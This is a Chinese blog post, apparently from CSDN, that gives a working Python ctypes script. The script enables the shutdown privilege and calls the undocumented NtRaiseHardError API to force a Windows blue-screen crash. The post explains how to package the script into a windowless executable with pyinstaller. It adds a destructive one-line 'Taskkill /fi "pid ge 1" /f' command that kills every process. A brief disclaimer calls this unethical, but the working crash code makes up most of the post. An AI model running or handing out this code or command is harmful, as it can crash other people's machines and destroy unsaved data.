【Python蓝屏程序(管理员)】

说明:该程序为临摹(😀)作品,源地址C++蓝屏程序(非管理员)

我试图使用Python调用 NtRaiseHardError API ,实现类似的蓝屏效果。可惜我发现Python在普通权限下,直接调用 NtRaiseHardError API 是不被允许的,因为它需要提升到系统权限才能触发蓝屏效果,即使在原文,也需要SeShutdownPrivilege才能实现蓝屏效果。

原理:

Windows的"未公开"蓝屏api:NtRaiseHardError
可以在非管理员特权下产生BSOD
调用该API需要调用者有关机权限

代码示例:

需要管理员权限

import ctypes
from ctypes import wintypes

# 定义相关的 Windows API 函数和结构体
ntdll = ctypes.WinDLL('ntdll.dll')

ULONG_PTR = ctypes.POINTER(ctypes.c_ulong)
BOOLEAN = ctypes.c_ubyte

class UNICODE_STRING(ctypes.Structure):
    _fields_ = [
        ("Length", wintypes.USHORT),
        ("MaximumLength", wintypes.USHORT),
        ("Buffer", ctypes.POINTER(wintypes.WCHAR)),
    ]

class CLIENT_ID(ctypes.Structure):
    _fields_ = [
        ("UniqueProcess", ctypes.POINTER(wintypes.HANDLE)),
        ("UniqueThread", ctypes.POINTER(wintypes.HANDLE)),
    ]

class IO_STATUS_BLOCK(ctypes.Structure):
    _fields_ = [
        ("Status", wintypes.ULONG),
        ("Information", ULONG_PTR),
    ]

# 定义函数原型
RtlAdjustPrivilege = ntdll.RtlAdjustPrivilege
RtlAdjustPrivilege.argtypes = [wintypes.ULONG, BOOLEAN, BOOLEAN, ctypes.POINTER(BOOLEAN)]
RtlAdjustPrivilege.restype = wintypes.LONG

NtRaiseHardError = ntdll.NtRaiseHardError
NtRaiseHardError.argtypes = [
    wintypes.LONG, wintypes.ULONG, wintypes.ULONG, ULONG_PTR,
    wintypes.ULONG, ctypes.POINTER(wintypes.ULONG)
]
NtRaiseHardError.restype = wintypes.LONG

# 定义一些常量和变量
STATUS_ASSERTION_FAILURE = 0xC0000420
SE_SHUTDOWN_PRIVILEGE = 19

def main():
    # 获取当前进程句柄
    current_process = ctypes.windll.kernel32.GetCurrentProcess()
    current_thread = ctypes.windll.kernel32.GetCurrentThread()

    # 启用 SE_SHUTDOWN_PRIVILEGE 权限
    privilege_enabled = BOOLEAN()
    RtlAdjustPrivilege(SE_SHUTDOWN_PRIVILEGE, True, False, ctypes.byref(privilege_enabled))

    # 调用 NtRaiseHardError 触发 BSOD
    response = wintypes.ULONG()
    NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, None, 6, ctypes.byref(response))

if __name__ == '__main__':
    main()

可以在该文件夹下使用cmd输入pyinstaller -wF .\MoveMouse.py打包然后使用管理员运行

代码解析:

这段代码的目的是试图在 Windows 系统中通过调用特定的 Windows API 来触发蓝屏死机(BSOD)。

以下是对代码各部分的详细解释:

  1. 导入和定义相关类型及库:

    • import ctypes:导入 Python 的 ctypes 库,用于在 Python 中调用 Windows API 函数。
    • 定义了各种数据类型,如 ULONG_PTRBOOLEAN 等,以及结构体 UNICODE_STRINGCLIENT_IDIO_STATUS_BLOCK ,以匹配 Windows API 所需的参数和返回值的数据结构。
  2. 加载 ntdll.dll 库并定义函数原型:

    • ntdll = ctypes.WinDLL('ntdll.dll'):加载 ntdll.dll 动态链接库。
    • RtlAdjustPrivilegeNtRaiseHardError 函数定义了参数类型和返回值类型,以确保在调用时能够正确传递和处理参数。
  3. 定义常量和变量:

    • STATUS_ASSERTION_FAILURE:定义了一个表示错误状态的常量。
    • SE_SHUTDOWN_PRIVILEGE:表示特定的权限常量。
  4. main 函数:

    • 获取当前进程和线程的句柄。
    • 通过 RtlAdjustPrivilege 函数尝试启用 SE_SHUTDOWN_PRIVILEGE 权限。
    • 最后调用 NtRaiseHardError 函数,并传递特定的参数,试图触发蓝屏死机。

需要强调的是,在正常的编程和使用场景中,这样的操作是不被允许和不道德的,可能会导致系统故障、数据丢失和其他严重问题。请不要在实际使用中运行这样的代码。

补充

当然如果已经有了管理员权限,那简单两行代码也能直接蓝屏

import os
os.system("Taskkill /fi \"pid ge 1\" /f")  # Taskkill /fi "pid ge 1" /f 杀死所有进程,管理员权限cmd直接蓝屏

甚至可以直接在管理员cmd输入:

Taskkill /fi "pid ge 1" /f
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值